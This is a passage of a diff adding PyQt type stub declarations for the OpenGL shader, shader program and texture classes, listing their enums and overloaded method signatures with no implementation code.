-> int: ... + def __invert__(self) -> 'QOpenGLShader.ShaderType': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, type: typing.Union['QOpenGLShader.ShaderType', 'QOpenGLShader.ShaderTypeBit'], parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + @staticmethod + def hasOpenGLShaders(type: typing.Union['QOpenGLShader.ShaderType', 'QOpenGLShader.ShaderTypeBit'], context: typing.Optional[QOpenGLContext] = ...) -> bool: ... + def shaderId(self) -> int: ... + def log(self) -> str: ... + def isCompiled(self) -> bool: ... + def sourceCode(self) -> QtCore.QByteArray: ... + def compileSourceFile(self, fileName: str) -> bool: ... + @typing.overload + def compileSourceCode(self, source: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> bool: ... + @typing.overload + def compileSourceCode(self, source: str) -> bool: ... + def shaderType(self) -> 'QOpenGLShader.ShaderType': ... + + +class QOpenGLShaderProgram(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def addCacheableShaderFromSourceFile(self, type: typing.Union[QOpenGLShader.ShaderType, QOpenGLShader.ShaderTypeBit], fileName: str) -> bool: ... + @typing.overload + def addCacheableShaderFromSourceCode(self, type: typing.Union[QOpenGLShader.ShaderType, QOpenGLShader.ShaderTypeBit], source: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> bool: ... + @typing.overload + def addCacheableShaderFromSourceCode(self, type: typing.Union[QOpenGLShader.ShaderType, QOpenGLShader.ShaderTypeBit], source: str) -> bool: ... + def create(self) -> bool: ... + def defaultInnerTessellationLevels(self) -> typing.List[float]: ... + def setDefaultInnerTessellationLevels(self, levels: typing.Iterable[float]) -> None: ... + def defaultOuterTessellationLevels(self) -> typing.List[float]: ... + def setDefaultOuterTessellationLevels(self, levels: typing.Iterable[float]) -> None: ... + def patchVertexCount(self) -> int: ... + def setPatchVertexCount(self, count: int) -> None: ... + def maxGeometryOutputVertices(self) -> int: ... + @staticmethod + def hasOpenGLShaderPrograms(context: typing.Optional[QOpenGLContext] = ...) -> bool: ... + @typing.overload + def setUniformValueArray(self, location: int, values: PYQT_SHADER_UNIFORM_VALUE_ARRAY) -> None: ... + @typing.overload + def setUniformValueArray(self, name: str, values: PYQT_SHADER_UNIFORM_VALUE_ARRAY) -> None: ... + @typing.overload + def setUniformValue(self, location: int, value: int) -> None: ... + @typing.overload + def setUniformValue(self, location: int, value: float) -> None: ... + @typing.overload + def setUniformValue(self, location: int, x: float, y: float) -> None: ... + @typing.overload + def setUniformValue(self, location: int, x: float, y: float, z: float) -> None: ... + @typing.overload + def setUniformValue(self, location: int, x: float, y: float, z: float, w: float) -> None: ... + @typing.overload + def setUniformValue(self, location: int, value: 'QVector2D') -> None: ... + @typing.overload + def setUniformValue(self, location: int, value: 'QVector3D') -> None: ... + @typing.overload + def setUniformValue(self, location: int, value: 'QVector4D') -> None: ... + @typing.overload + def setUniformValue(self, location: int, color: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def setUniformValue(self, location: int, point: QtCore.QPoint) -> None: ... + @typing.overload + def setUniformValue(self, location: int, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def setUniformValue(self, location: int, size: QtCore.QSize) -> None: ... + @typing.overload + def setUniformValue(self, location: int, size: QtCore.QSizeF) -> None: ... + @typing.overload + def setUniformValue(self, location: int, value: QMatrix2x2) -> None: ... + @typing.overload + def setUniformValue(self, location: int, value: QMatrix2x3) -> None: ... + @typing.overload + def setUniformValue(self, location: int, value: QMatrix2x4) -> None: ... + @typing.overload + def setUniformValue(self, location: int, value: QMatrix3x2) -> None: ... + @typing.overload + def setUniformValue(self, location: int, value: QMatrix3x3) -> None: ... + @typing.overload + def setUniformValue(self, location: int, value: QMatrix3x4) -> None: ... + @typing.overload + def setUniformValue(self, location: int, value: QMatrix4x2) -> None: ... + @typing.overload + def setUniformValue(self, location: int, value: QMatrix4x3) -> None: ... + @typing.overload + def setUniformValue(self, location: int, value: QMatrix4x4) -> None: ... + @typing.overload + def setUniformValue(self, location: int, value: 'QTransform') -> None: ... + @typing.overload + def setUniformValue(self, name: str, value: int) -> None: ... + @typing.overload + def setUniformValue(self, name: str, value: float) -> None: ... + @typing.overload + def setUniformValue(self, name: str, x: float, y: float) -> None: ... + @typing.overload + def setUniformValue(self, name: str, x: float, y: float, z: float) -> None: ... + @typing.overload + def setUniformValue(self, name: str, x: float, y: float, z: float, w: float) -> None: ... + @typing.overload + def setUniformValue(self, name: str, value: 'QVector2D') -> None: ... + @typing.overload + def setUniformValue(self, name: str, value: 'QVector3D') -> None: ... + @typing.overload + def setUniformValue(self, name: str, value: 'QVector4D') -> None: ... + @typing.overload + def setUniformValue(self, name: str, color: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def setUniformValue(self, name: str, point: QtCore.QPoint) -> None: ... + @typing.overload + def setUniformValue(self, name: str, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def setUniformValue(self, name: str, size: QtCore.QSize) -> None: ... + @typing.overload + def setUniformValue(self, name: str, size: QtCore.QSizeF) -> None: ... + @typing.overload + def setUniformValue(self, name: str, value: QMatrix2x2) -> None: ... + @typing.overload + def setUniformValue(self, name: str, value: QMatrix2x3) -> None: ... + @typing.overload + def setUniformValue(self, name: str, value: QMatrix2x4) -> None: ... + @typing.overload + def setUniformValue(self, name: str, value: QMatrix3x2) -> None: ... + @typing.overload + def setUniformValue(self, name: str, value: QMatrix3x3) -> None: ... + @typing.overload + def setUniformValue(self, name: str, value: QMatrix3x4) -> None: ... + @typing.overload + def setUniformValue(self, name: str, value: QMatrix4x2) -> None: ... + @typing.overload + def setUniformValue(self, name: str, value: QMatrix4x3) -> None: ... + @typing.overload + def setUniformValue(self, name: str, value: QMatrix4x4) -> None: ... + @typing.overload + def setUniformValue(self, name: str, value: 'QTransform') -> None: ... + @typing.overload + def uniformLocation(self, name: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> int: ... + @typing.overload + def uniformLocation(self, name: str) -> int: ... + @typing.overload + def disableAttributeArray(self, location: int) -> None: ... + @typing.overload + def disableAttributeArray(self, name: str) -> None: ... + @typing.overload + def enableAttributeArray(self, location: int) -> None: ... + @typing.overload + def enableAttributeArray(self, name: str) -> None: ... + @typing.overload + def setAttributeBuffer(self, location: int, type: int, offset: int, tupleSize: int, stride: int = ...) -> None: ... + @typing.overload + def setAttributeBuffer(self, name: str, type: int, offset: int, tupleSize: int, stride: int = ...) -> None: ... + @typing.overload + def setAttributeArray(self, location: int, values: PYQT_SHADER_ATTRIBUTE_ARRAY) -> None: ... + @typing.overload + def setAttributeArray(self, name: str, values: PYQT_SHADER_ATTRIBUTE_ARRAY) -> None: ... + @typing.overload + def setAttributeValue(self, location: int, value: float) -> None: ... + @typing.overload + def setAttributeValue(self, location: int, x: float, y: float) -> None: ... + @typing.overload + def setAttributeValue(self, location: int, x: float, y: float, z: float) -> None: ... + @typing.overload + def setAttributeValue(self, location: int, x: float, y: float, z: float, w: float) -> None: ... + @typing.overload + def setAttributeValue(self, location: int, value: 'QVector2D') -> None: ... + @typing.overload + def setAttributeValue(self, location: int, value: 'QVector3D') -> None: ... + @typing.overload + def setAttributeValue(self, location: int, value: 'QVector4D') -> None: ... + @typing.overload + def setAttributeValue(self, location: int, value: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def setAttributeValue(self, name: str, value: float) -> None: ... + @typing.overload + def setAttributeValue(self, name: str, x: float, y: float) -> None: ... + @typing.overload + def setAttributeValue(self, name: str, x: float, y: float, z: float) -> None: ... + @typing.overload + def setAttributeValue(self, name: str, x: float, y: float, z: float, w: float) -> None: ... + @typing.overload + def setAttributeValue(self, name: str, value: 'QVector2D') -> None: ... + @typing.overload + def setAttributeValue(self, name: str, value: 'QVector3D') -> None: ... + @typing.overload + def setAttributeValue(self, name: str, value: 'QVector4D') -> None: ... + @typing.overload + def setAttributeValue(self, name: str, value: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def attributeLocation(self, name: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> int: ... + @typing.overload + def attributeLocation(self, name: str) -> int: ... + @typing.overload + def bindAttributeLocation(self, name: typing.Union[QtCore.QByteArray, bytes, bytearray], location: int) -> None: ... + @typing.overload + def bindAttributeLocation(self, name: str, location: int) -> None: ... + def programId(self) -> int: ... + def release(self) -> None: ... + def bind(self) -> bool: ... + def log(self) -> str: ... + def isLinked(self) -> bool: ... + def link(self) -> bool: ... + def removeAllShaders(self) -> None: ... + def addShaderFromSourceFile(self, type: typing.Union[QOpenGLShader.ShaderType, QOpenGLShader.ShaderTypeBit], fileName: str) -> bool: ... + @typing.overload + def addShaderFromSourceCode(self, type: typing.Union[QOpenGLShader.ShaderType, QOpenGLShader.ShaderTypeBit], source: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> bool: ... + @typing.overload + def addShaderFromSourceCode(self, type: typing.Union[QOpenGLShader.ShaderType, QOpenGLShader.ShaderTypeBit], source: str) -> bool: ... + def shaders(self) -> typing.List[QOpenGLShader]: ... + def removeShader(self, shader: QOpenGLShader) -> None: ... + def addShader(self, shader: QOpenGLShader) -> bool: ... + + +class QOpenGLTexture(sip.simplewrapper): + + class ComparisonMode(int): + CompareRefToTexture = ... # type: QOpenGLTexture.ComparisonMode + CompareNone = ... # type: QOpenGLTexture.ComparisonMode + + class ComparisonFunction(int): + CompareLessEqual = ... # type: QOpenGLTexture.ComparisonFunction + CompareGreaterEqual = ... # type: QOpenGLTexture.ComparisonFunction + CompareLess = ... # type: QOpenGLTexture.ComparisonFunction + CompareGreater = ... # type: QOpenGLTexture.ComparisonFunction + CompareEqual = ... # type: QOpenGLTexture.ComparisonFunction + CommpareNotEqual = ... # type: QOpenGLTexture.ComparisonFunction + CompareAlways = ... # type: QOpenGLTexture.ComparisonFunction + CompareNever = ... # type: QOpenGLTexture.ComparisonFunction + + class CoordinateDirection(int): + DirectionS = ... # type: QOpenGLTexture.CoordinateDirection + DirectionT = ... # type: QOpenGLTexture.CoordinateDirection + DirectionR = ... # type: QOpenGLTexture.CoordinateDirection + + class WrapMode(int): + Repeat = ... # type: QOpenGLTexture.WrapMode + MirroredRepeat = ... # type: QOpenGLTexture.WrapMode + ClampToEdge = ... # type: QOpenGLTexture.WrapMode + ClampToBorder = ... # type: QOpenGLTexture.WrapMode + + class Filter(int): + Nearest = ... # type: QOpenGLTexture.Filter + Linear = ... # type: QOpenGLTexture.Filter + NearestMipMapNearest = ... # type: QOpenGLTexture.Filter + NearestMipMapLinear = ... # type: QOpenGLTexture.Filter + LinearMipMapNearest = ... # type: QOpenGLTexture.Filter + LinearMipMapLinear = ... # type: QOpenGLTexture.Filter + + class DepthStencilMode(int): + DepthMode = ... # type: QOpenGLTexture.DepthStencilMode + StencilMode = ... # type: QOpenGLTexture.DepthStencilMode + + class SwizzleValue(int): + RedValue = ... # type: QOpenGLTexture.SwizzleValue + GreenValue = ... # type: QOpenGLTexture.SwizzleValue + BlueValue = ... # type: QOpenGLTexture.SwizzleValue + AlphaValue = ... # type: QOpenGLTexture.SwizzleValue + ZeroValue = ... # type: QOpenGLTexture.SwizzleValue + OneValue = ... # type: QOpenGLTexture.SwizzleValue + + class SwizzleComponent(int): + SwizzleRed = ... # type: QOpenGLTexture.SwizzleComponent + SwizzleGreen = ... # type: QOpenGLTexture.SwizzleComponent + SwizzleBlue = ... # type: QOpenGLTexture.SwizzleComponent + SwizzleAlpha = ... # type: QOpenGLTexture.SwizzleComponent + + class Feature(int): + ImmutableStorage = ... # type: QOpenGLTexture.Feature + ImmutableMultisampleStorage = ... # type: QOpenGLTexture.Feature + TextureRectangle = ... # type: QOpenGLTexture.Feature + TextureArrays = ... # type: QOpenGLTexture.Feature + Texture3D = ... # type: QOpenGLTexture.Feature + TextureMultisample = ... # type: QOpenGLTexture.Feature + TextureBuffer = ... # type: QOpenGLTexture.Feature + TextureCubeMapArrays = ... # type: QOpenGLTexture.Feature + Swizzle = ... # type: QOpenGLTexture.Feature + StencilTexturing = ... # type: QOpenGLTexture.Feature + AnisotropicFiltering = ... # type: QOpenGLTexture.Feature + NPOTTextures = ... # type: QOpenGLTexture.Feature + NPOTTextureRepeat = ... # type: QOpenGLTexture.Feature + Texture1D = ... # type: QOpenGLTexture.Feature + TextureComparisonOperators = ... # type: QOpenGLTexture.Feature + TextureMipMapLevel = ... # type: QOpenGLTexture.Feature + + class PixelType(int): + NoPixelType = ... # type: QOpenGLTexture.PixelType + Int8 = ... # type: QOpenGLTexture.PixelType + UInt8 = ... # type: QOpenGLTexture.PixelType + Int16 = ... # type: QOpenGLTexture.PixelType + UInt16 = ... # type: QOpenGLTexture.PixelType + Int32 = ... # type: QOpenGLTexture.PixelType + UInt32 = ... # type: QOpenGLTexture.PixelType + Float16 = ... # type: QOpenGLTexture.PixelType + Float16OES = ... # type: QOpenGLTexture.PixelType + Float32 = ... # type: QOpenGLTexture.PixelType + UInt32_RGB9_E5 = ... # type: QOpenGLTexture.PixelType + UInt32_RG11B10F = ... # type: QOpenGLTexture.PixelType + UInt8_RG3B2 = ... # type: QOpenGLTexture.PixelType + UInt8_RG3B2_Rev = ... # type: QOpenGLTexture.PixelType + UInt16_RGB5A1 = ... # type: QOpenGLTexture.PixelType + UInt16_RGB5A1_Rev = ... # type: QOpenGLTexture.PixelType + UInt16_R5G6B5 = ... # type: QOpenGLTexture.PixelType + UInt16_R5G6B5_Rev = ... # type: QOpenGLTexture.PixelType + UInt16_RGBA4 = ... # type: QOpenGLTexture.PixelType + UInt16_RGBA4_Rev = ... # type: QOpenGLTexture.PixelType + UInt32_RGB10A2 = ... # type: QOpenGLTexture.PixelType + UInt32_RGB10A2_Rev = ... # type: QOpenGLTexture.PixelType + UInt32_RGBA8 = ... # type: QOpenGLTexture.PixelType + UInt32_RGBA8_Rev = ... # type: QOpenGLTexture.PixelType + UInt32_D24S8 = ... # type: QOpenGLTexture.PixelType + Float32_D32_UInt32_S8_X24 = ... # type: QOpenGLTexture.PixelType + + class PixelFormat(int): + NoSourceFormat = ... # type: QOpenGLTexture.PixelFormat + Red = ... # type: QOpenGLTexture.PixelFormat + RG = ... # type: QOpenGLTexture.PixelFormat + RGB = ... # type: QOpenGLTexture.PixelFormat + BGR = ... # type: QOpenGLTexture.PixelFormat + RGBA = ... # type: QOpenGLTexture.PixelFormat + BGRA = ... # type: QOpenGLTexture.PixelFormat + Red_Integer = ... # type: QOpenGLTexture.PixelFormat + RG_Integer = ... # type: QOpenGLTexture.PixelFormat + RGB_Integer = ... # type: QOpenGLTexture.PixelFormat + BGR_Integer = ... # type: QOpenGLTexture.PixelFormat + RGBA_Integer = ... # type: QOpenGLTexture.PixelFormat + BGRA_Integer = ... # type: QOpenGLTexture.PixelFormat + Depth = ... # type: QOpenGLTexture.PixelFormat + DepthStencil = ... # type: QOpenGLTexture.PixelFormat + Alpha = ... # type: QOpenGLTexture.PixelFormat + Luminance = ... # type: QOpenGLTexture.PixelFormat + LuminanceAlpha = ... # type: QOpenGLTexture.PixelFormat + Stencil = ... # type: QOpenGLTexture.PixelFormat + + class CubeMapFace(int): + CubeMapPositiveX = ... # type: QOpenGLTexture.CubeMapFace + CubeMapNegativeX = ... # type: QOpenGLTexture.CubeMapFace + CubeMapPositiveY = ... # type: QOpenGLTexture.CubeMapFace + CubeMapNegativeY = ... # type: QOpenGLTexture.CubeMapFace + CubeMapPositiveZ = ... # type: QOpenGLTexture.CubeMapFace + CubeMapNegativeZ = ... # type: QOpenGLTexture.CubeMapFace + + class TextureFormat(int): + NoFormat = ... # type: QOpenGLTexture.TextureFormat + R8_UNorm = ... # type: QOpenGLTexture.TextureFormat + RG8_UNorm = ... # type: QOpenGLTexture.TextureFormat + RGB8_UNorm = ... # type: QOpenGLTexture.TextureFormat + RGBA8_UNorm = ... # type: QOpenGLTexture.TextureFormat + R16_UNorm = ... # type: QOpenGLTexture.TextureFormat + RG16_UNorm = ... # type: QOpenGLTexture.TextureFormat + RGB16_UNorm = ... # type: QOpenGLTexture.TextureFormat + RGBA16_UNorm = ... # type: QOpenGLTexture.TextureFormat + R8_SNorm = ... # type: QOpenGLTexture.TextureFormat + RG8_SNorm = ... # type: QOpenGLTexture.TextureFormat + RGB8_SNorm = ... # type: QOpenGLTexture.TextureFormat + RGBA8_SNorm = ... # type: QOpenGLTexture.TextureFormat + R16_SNorm = ... # type: QOpenGLTexture.TextureFormat + RG16_SNorm = ... # type: QOpenGLTexture.TextureFormat + RGB16_SNorm = ... # type: QOpenGLTexture.TextureFormat + RGBA16_SNorm = ... # type: QOpenGLTexture.TextureFormat + R8U = ... # type: QOpenGLTexture.TextureFormat + RG8U = ... # type: QOpenGLTexture.TextureFormat + RGB8U = ... # type: QOpenGLTexture.TextureFormat + RGBA8U = ... # type: QOpenGLTexture.TextureFormat + R16U = ... # type: QOpenGLTexture.TextureFormat + RG16U = ... # type: QOpenGLTexture.TextureFormat + RGB16U = ... # type: QOpenGLTexture.TextureFormat + RGBA16U = ... # type: QOpenGLTexture.TextureFormat + R32U = ... # type: QOpenGLTexture.TextureFormat + RG32U = ... # type: QOpenGLTexture.TextureFormat + RGB32U = ... # type: QOpenGLTexture.TextureFormat + RGBA32U = ... # type: QOpenGLTexture.TextureFormat + R8I = ... # type: QOpenGLTexture.TextureFormat + RG8I = ... # type: QOpenGLTexture.TextureFormat + RGB8I = ... # type: QOpenGLTexture.TextureFormat + RGBA8I = ... # type: QOpenGLTexture.TextureFormat + R16I = ... # type: QOpenGLTexture.TextureFormat + RG16I = ... # type: QOpenGLTexture.TextureFormat + RGB16I = ... # type: QOpenGLTexture.TextureFormat + RGBA16I = ... # type: QOpenGLTexture.TextureFormat + R32I = ... # type: QOpenGLTexture.TextureFormat + RG32I = ... # type: QOpenGLTexture.TextureFormat + RGB32I = ... # type: QOpenGLTexture.TextureFormat + RGBA32I = ... # type: QOpenGLTexture.TextureFormat + R16F = ... # type: QOpenGLTexture.TextureFormat + RG16F = ... # type: QOpenGLTexture.TextureFormat + RGB16F = ... # type: QOpenGLTexture.TextureFormat + RGBA16F = ... # type: QOpenGLTexture.TextureFormat + R32F = ... # type: QOpenGLTexture.TextureFormat + RG32F = ... # type: QOpenGLTexture.TextureFormat + RGB32F = ... # type: QOpenGLTexture.TextureFormat + RGBA32F = ... # type: QOpenGLTexture.TextureFormat + RGB9E5 = ... # type: QOpenGLTexture.TextureFormat + RG11B10F = ... # type: QOpenGLTexture.TextureFormat + RG3B2 = ... # type: QOpenGLTexture.TextureFormat + R5G6B5 = ... # type: QOpenGLTexture.TextureFormat + RGB5A1 = ... # type: QOpenGLTexture.TextureFormat + RGBA4 = ... # type: QOpenGLTexture.TextureFormat + RGB10A2 = ... # type: QOpenGLTexture.TextureFormat + D16 = ... # type: QOpenGLTexture.TextureFormat + D24 = ... # type: QOpenGLTexture.TextureFormat + D24S8 = ... # type: QOpenGLTexture.TextureFormat + D32 = ... # type: QOpenGLTexture.TextureFormat + D32F = ... # type: QOpenGLTexture.TextureFormat + D32FS8X24 = ... # type: QOpenGLTexture.TextureFormat + RGB_DXT1 = ... # type: QOpenGLTexture.TextureFormat + RGBA_DXT1 = ... # type: QOpenGLTexture.TextureFormat + RGBA_DXT3 = ... # type: QOpenGLTexture.TextureFormat + RGBA_DXT5 = ... # type: QOpenGLTexture.TextureFormat + R_ATI1N_UNorm = ... # type: QOpenGLTexture.TextureFormat + R_ATI1N_SNorm = ... # type: QOpenGLTexture.TextureFormat + RG_ATI2N_UNorm = ... # type: QOpenGLTexture.TextureFormat + RG_ATI2N_SNorm = ... # type: QOpenGLTexture.TextureFormat + RGB_BP_UNSIGNED_FLOAT = ... # type: QOpenGLTexture.TextureFormat + RGB_BP_SIGNED_FLOAT = ... # type: QOpenGLTexture.TextureFormat + RGB_BP_UNorm = ... # type: QOpenGLTexture.TextureFormat + SRGB8 = ... # type: QOpenGLTexture.TextureFormat + SRGB8_Alpha8 = ... # type: QOpenGLTexture.TextureFormat + SRGB_DXT1 = ... # type: QOpenGLTexture.TextureFormat + SRGB_Alpha_DXT1 = ... # type: QOpenGLTexture.TextureFormat + SRGB_Alpha_DXT3 = ... # type: QOpenGLTexture.TextureFormat + SRGB_Alpha_DXT5 = ... # type: QOpenGLTexture.TextureFormat + SRGB_BP_UNorm = ... # type: QOpenGLTexture.TextureFormat + DepthFormat = ... # type: QOpenGLTexture.TextureFormat + AlphaFormat = ... # type: QOpenGLTexture.TextureFormat + RGBFormat = ... # type: QOpenGLTexture.TextureFormat + RGBAFormat = ... # type: QOpenGLTexture.TextureFormat + LuminanceFormat = ... # type: QOpenGLTexture.TextureFormat + LuminanceAlphaFormat = ... # type: QOpenGLTexture.TextureFormat + S8 = ... # type: QOpenGLTexture.TextureFormat + R11_EAC_UNorm = ... # type: QOpenGLTexture.TextureFormat + R11_EAC_SNorm = ... # type: QOpenGLTexture.TextureFormat + RG11_EAC_UNorm = ... # type: QOpenGLTexture.TextureFormat + RG11_EAC_SNorm = ... # type: QOpenGLTexture.TextureFormat + RGB8_ETC2 = ... # type: QOpenGLTexture.TextureFormat + SRGB8_ETC2 = ... # type: QOpenGLTexture.TextureFormat + RGB8_PunchThrough_Alpha1_ETC2 = ... # type: QOpenGLTexture.TextureFormat + SRGB8_PunchThrough_Alpha1_ETC2 = ... # type: QOpenGLTexture.TextureFormat + RGBA8_ETC2_EAC = ... # type: QOpenGLTexture.TextureFormat + SRGB8_Alpha8_ETC2_EAC = ... # type: QOpenGLTexture.TextureFormat + RGB8_ETC1 = ... # type: QOpenGLTexture.TextureFormat + RGBA_ASTC_4x4 = ... # type: QOpenGLTexture.TextureFormat + RGBA_ASTC_5x4 = ... # type: QOpenGLTexture.TextureFormat + RGBA_ASTC_5x5 = ... # type: QOpenGLTexture.TextureFormat + RGBA_ASTC_6x5 = ... # type: QOpenGLTexture.TextureFormat + RGBA_ASTC_6x6 = ... # type: QOpenGLTexture.TextureFormat + RGBA_ASTC_8x5 = ... # type: QOpenGLTexture.TextureFormat + RGBA_ASTC_8x6 = ... # type: QOpenGLTexture.TextureFormat + RGBA_ASTC_8x8 = ... # type: QOpenGLTexture.TextureFormat + RGBA_ASTC_10x5 = ... # type: QOpenGLTexture.TextureFormat + RGBA_ASTC_10x6 = ... # type: QOpenGLTexture.TextureFormat + RGBA_ASTC_10x8 = ... # type: QOpenGLTexture.TextureFormat + RGBA_ASTC_10x10 = ... # type: QOpenGLTexture.TextureFormat + RGBA_ASTC_12x10 = ... # type: QOpenGLTexture.TextureFormat + RGBA_ASTC_12x12 = ... # type: QOpenGLTexture.TextureFormat + SRGB8_Alpha8_ASTC_4x4 = ... # type: QOpenGLTexture.TextureFormat + SRGB8_Alpha8_ASTC_5x4 = ... # type: QOpenGLTexture.TextureFormat + SRGB8_Alpha8_ASTC_5x5 = ... # type: QOpenGLTexture.TextureFormat + SRGB8_Alpha8_ASTC_6x5 = ... # type: QOpenGLTexture.TextureFormat + SRGB8_Alpha8_ASTC_6x6 = ... # type: QOpenGLTexture.TextureFormat + SRGB8_Alpha8_ASTC_8x5 = ... # type: QOpenGLTexture.TextureFormat + SRGB8_Alpha8_ASTC_8x6 = ... # type: QOpenGLTexture.TextureFormat + SRGB8_Alpha8_ASTC_8x8 = ... # type: QOpenGLTexture.TextureFormat + SRGB8_Alpha8_ASTC_10x5 = ... # type: QOpenGLTexture.TextureFormat + SRGB8_Alpha8_ASTC_10x6 = ... # type: QOpenGLTexture.TextureFormat + SRGB8_Alpha8_ASTC_10x8 = ... # type: QOpenGLTexture.TextureFormat + SRGB8_Alpha8_ASTC_10x10 = ... # type: QOpenGLTexture.TextureFormat + SRGB8_Alpha8_ASTC_12x10 = ... # type: QOpenGLTexture.TextureFormat + SRGB8_Alpha8_ASTC_12x12 = ... # type: QOpenGLTexture.TextureFormat + + class TextureUnitReset(int): + ResetTextureUnit = ... # type: QOpenGLTexture.TextureUnitReset + DontResetTextureUnit = ... # type: QOpenGLTexture.TextureUnitReset + + class MipMapGeneration(int): + GenerateMipMaps = ... # type: QOpenGLTexture.MipMapGeneration + DontGenerateMipMaps = ... # type: QOpenGLTexture.MipMapGeneration + + class BindingTarget(int): + BindingTarget1D = ... # type: QOpenGLTexture.BindingTarget + BindingTarget1DArray = ... # type: QOpenGLTexture.BindingTarget + BindingTarget2D = ... # type: QOpenGLTexture.BindingTarget + BindingTarget2DArray = ... # type: QOpenGLTexture.BindingTarget + BindingTarget3D = ... # type: QOpenGLTexture.BindingTarget + BindingTargetCubeMap = ... # type: QOpenGLTexture.BindingTarget + BindingTargetCubeMapArray = ... # type: QOpenGLTexture.BindingTarget + BindingTarget2DMultisample = ... # type: QOpenGLTexture.BindingTarget + BindingTarget2DMultisampleArray = ... # type: QOpenGLTexture.BindingTarget + BindingTargetRectangle = ... # type: QOpenGLTexture.BindingTarget + BindingTargetBuffer = ... # type: QOpenGLTexture.BindingTarget + + class Target(int): + Target1D = ... # type: QOpenGLTexture.Target + Target1DArray = ... # type: QOpenGLTexture.Target + Target2D = ... # type: QOpenGLTexture.Target + Target2DArray = ... # type: QOpenGLTexture.Target + Target3D = ... # type: QOpenGLTexture.Target + TargetCubeMap = ... # type: QOpenGLTexture.Target + TargetCubeMapArray = ... # type: QOpenGLTexture.Target + Target2DMultisample = ... # type: QOpenGLTexture.Target + Target2DMultisampleArray = ... # type: QOpenGLTexture.Target + TargetRectangle = ... # type: QOpenGLTexture.Target + TargetBuffer = ... # type: QOpenGLTexture.Target + + class Features(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QOpenGLTexture.Features', 'QOpenGLTexture.Feature']) -> None: ... + @typing.overload + def __init__(self, a0: 'QOpenGLTexture.Features') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QOpenGLTexture.Features': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, target: 'QOpenGLTexture.Target') -> None: ... + @typing.overload + def __init__(self, image: QImage, genMipMaps: 'QOpenGLTexture.MipMapGeneration' = ...) -> None: ... + + def comparisonMode(self) -> 'QOpenGLTexture.ComparisonMode': ... + def setComparisonMode(self, mode: 'QOpenGLTexture.ComparisonMode') -> None: ... + def comparisonFunction(self) -> 'QOpenGLTexture.ComparisonFunction': ... + def setComparisonFunction(self, function: 'QOpenGLTexture.ComparisonFunction') -> None: ... + def isFixedSamplePositions(self) -> bool: ... + def setFixedSamplePositions(self, fixed: bool) -> None: ... + def samples(self) -> int: ... + def setSamples(self, samples: int) -> None: ... + def target(self) -> 'QOpenGLTexture.Target': ... + def levelofDetailBias(self) -> float: ... + def setLevelofDetailBias(self, bias: float) -> None: ... + def levelOfDetailRange(self) -> typing.Tuple[float, float]: ... + def setLevelOfDetailRange(self, min: float, max: float) -> None: ... + def maximumLevelOfDetail(self) -> float: ... + def setMaximumLevelOfDetail(self, value: float) -> None: ... + def minimumLevelOfDetail(self) -> float: ... + def setMinimumLevelOfDetail(self, value: float) -> None: ... + def borderColor(self) -> QColor: ... + def setBorderColor(self, color: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def wrapMode(self, direction: 'QOpenGLTexture.CoordinateDirection') -> 'QOpenGLTexture.WrapMode': ... + @typing.overload + def setWrapMode(self, mode: 'QOpenGLTexture.WrapMode') -> None: ... + @typing.overload + def setWrapMode(self, direction: 'QOpenGLTexture.CoordinateDirection', mode: 'QOpenGLTexture.WrapMode') -> None: ... + def maximumAnisotropy(self) -> float: ... + def setMaximumAnisotropy(self, anisotropy: float) -> None: ... + def minMagFilters(self) -> typing.Tuple['QOpenGLTexture.Filter', 'QOpenGLTexture.Filter']: ... + def setMinMagFilters(self, minificationFilter: 'QOpenGLTexture.Filter', magnificationFilter: 'QOpenGLTexture.Filter') -> None: ... + def magnificationFilter(self) -> 'QOpenGLTexture.Filter': ... + def setMagnificationFilter(self, filter: 'QOpenGLTexture.Filter') -> None: ... + def minificationFilter(self) -> 'QOpenGLTexture.Filter': ... + def setMinificationFilter(self, filter: 'QOpenGLTexture.Filter') -> None: ... + def depthStencilMode(self) -> 'QOpenGLTexture.DepthStencilMode': ... + def setDepthStencilMode(self, mode: 'QOpenGLTexture.DepthStencilMode') -> None: ... + def swizzleMask(self, component: 'QOpenGLTexture.SwizzleComponent') -> 'QOpenGLTexture.SwizzleValue': ... + @typing.overload + def setSwizzleMask(self, component: 'QOpenGLTexture.SwizzleComponent', value: 'QOpenGLTexture.SwizzleValue') -> None: ... + @typing.overload + def setSwizzleMask(self, r: 'QOpenGLTexture.SwizzleValue', g: 'QOpenGLTexture.SwizzleValue', b: 'QOpenGLTexture.SwizzleValue', a: 'QOpenGLTexture.SwizzleValue') -> None: ... + @typing.overload + def generateMipMaps(self) -> None: ... + @typing.overload + def generateMipMaps(self, baseLevel: int, resetBaseLevel: bool = ...) -> None: ... + def isAutoMipMapGenerationEnabled(self) -> bool: ... + def setAutoMipMapGenerationEnabled(self, enabled: bool) -> None: ... + def mipLevelRange(self) -> typing.Tuple[int, int]: ... + def setMipLevelRange(self, baseLevel: int, maxLevel: int) -> None: ... + def mipMaxLevel(self) -> int: ... + def setMipMaxLevel(self, maxLevel: int) -> None: ... + def mipBaseLevel(self) -> int: ... + def setMipBaseLevel(self, baseLevel: int) -> None: ... + @staticmethod + def hasFeature(feature: 'QOpenGLTexture.Feature') -> bool: ... + @typing.overload + def setCompressedData(self, mipLevel: int, layer: int, cubeFace: 